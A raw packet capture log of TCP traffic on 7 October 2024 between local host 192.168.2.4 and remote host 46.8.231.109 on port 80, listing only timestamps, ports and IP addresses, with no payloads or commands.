Oct 7, 2024 03:03:11.990812063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990834951 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990844965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990870953 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990881920 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990907907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990921974 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990937948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990981102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990987062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990997076 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991033077 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991050959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991081953 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991087914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991137028 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991147995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991182089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991197109 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991223097 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991231918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991256952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991271973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991292953 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991302013 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991324902 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991342068 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991358995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991408110 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991408110 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991416931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991451979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991466999 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991472006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991493940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991509914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991525888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991545916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991560936 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991585016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991596937 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991621017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991636992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991656065 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991671085 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991691113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991705894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991728067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991739035 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991765022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991777897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991803885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991838932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991838932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.991868019 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.991895914 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.028467894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.028521061 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.028558969 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.028597116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.028609037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.028634071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.028637886 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.028670073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.028692961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.028711081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.028723955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.028743029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.028765917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.028794050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.077589989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.077637911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.077699900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.077708960 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.077723980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.077765942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.077769041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.077820063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.077822924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.077867985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.077881098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.077943087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.077944994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.077997923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.077999115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078033924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078052044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078078032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078083992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078130960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078133106 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078167915 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078182936 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078202963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078218937 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078238010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078253031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078289032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078305960 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078346014 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078356981 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078381062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078397989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078419924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078433990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078455925 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078471899 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078505993 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078505993 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078540087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078560114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078582048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078593016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078628063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078643084 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078664064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078680038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078697920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078718901 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078732967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078747988 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078766108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078783989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078802109 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078816891 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078836918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078852892 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078871012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078886986 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078922987 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078927040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078963041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.078982115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.078999043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079014063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079035044 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079047918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079075098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079087973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079113007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079128027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079148054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079164028 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079180956 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079196930 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079216957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079231977 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079252005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079267025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079287052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079303980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079322100 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079339027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079354048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079372883 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079404116 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079416990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079466105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079469919 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079507113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079525948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079540968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079557896 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079596043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079600096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079613924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079644918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079652071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079670906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079688072 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079706907 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079739094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079752922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079807997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079811096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079843998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079859972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079879999 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079894066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079926968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.079947948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079982042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.079998970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080020905 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080034018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080056906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080070972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080094099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080106020 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080128908 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080147982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080164909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080182076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080199957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080231905 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080235004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080251932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080271959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080281973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080312014 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080321074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080346107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080362082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080380917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080394030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080411911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080427885 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080461025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080466986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080502987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080518961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080559015 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080559015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080595970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080610991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080631971 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080651045 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080676079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080689907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080724955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080739021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080765963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080776930 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080816984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080820084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080856085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080877066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080890894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080904007 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080928087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080940962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080962896 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.080976963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.080998898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081013918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081029892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081051111 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081063986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081083059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081100941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081114054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081135988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081152916 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081171989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081187963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081206083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081223011 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081243038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081257105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081278086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081294060 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081315994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081329107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081351042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081367016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081384897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081408024 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081420898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081432104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081455946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081469059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081491947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081512928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081527948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081537962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081562996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081578970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081599951 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081617117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081634998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081650972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081686020 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081690073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081724882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081741095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081760883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081775904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081794977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081813097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081830978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081845999 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081864119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081882000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081898928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081913948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081933975 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081949949 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.081969023 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.081984997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.082006931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.082015038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.082041979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.082067966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.082088947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.118825912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.118896961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.118899107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.118933916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.118947983 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.118973017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.118984938 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.119012117 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.119021893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.119048119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.119060040 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.119085073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.119096994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.119122028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.119138002 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.119168043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.168452978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.168528080 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.168530941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.168584108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.168591022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.168627024 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.168641090 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.168667078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.168670893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.168715000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.168723106 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.168772936 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.168780088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.168814898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.168832064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.168852091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.168865919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.168888092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.168904066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.168939114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.168942928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.168977976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.168994904 CEST	49731	80	192.168.2.4	46.8.231.109
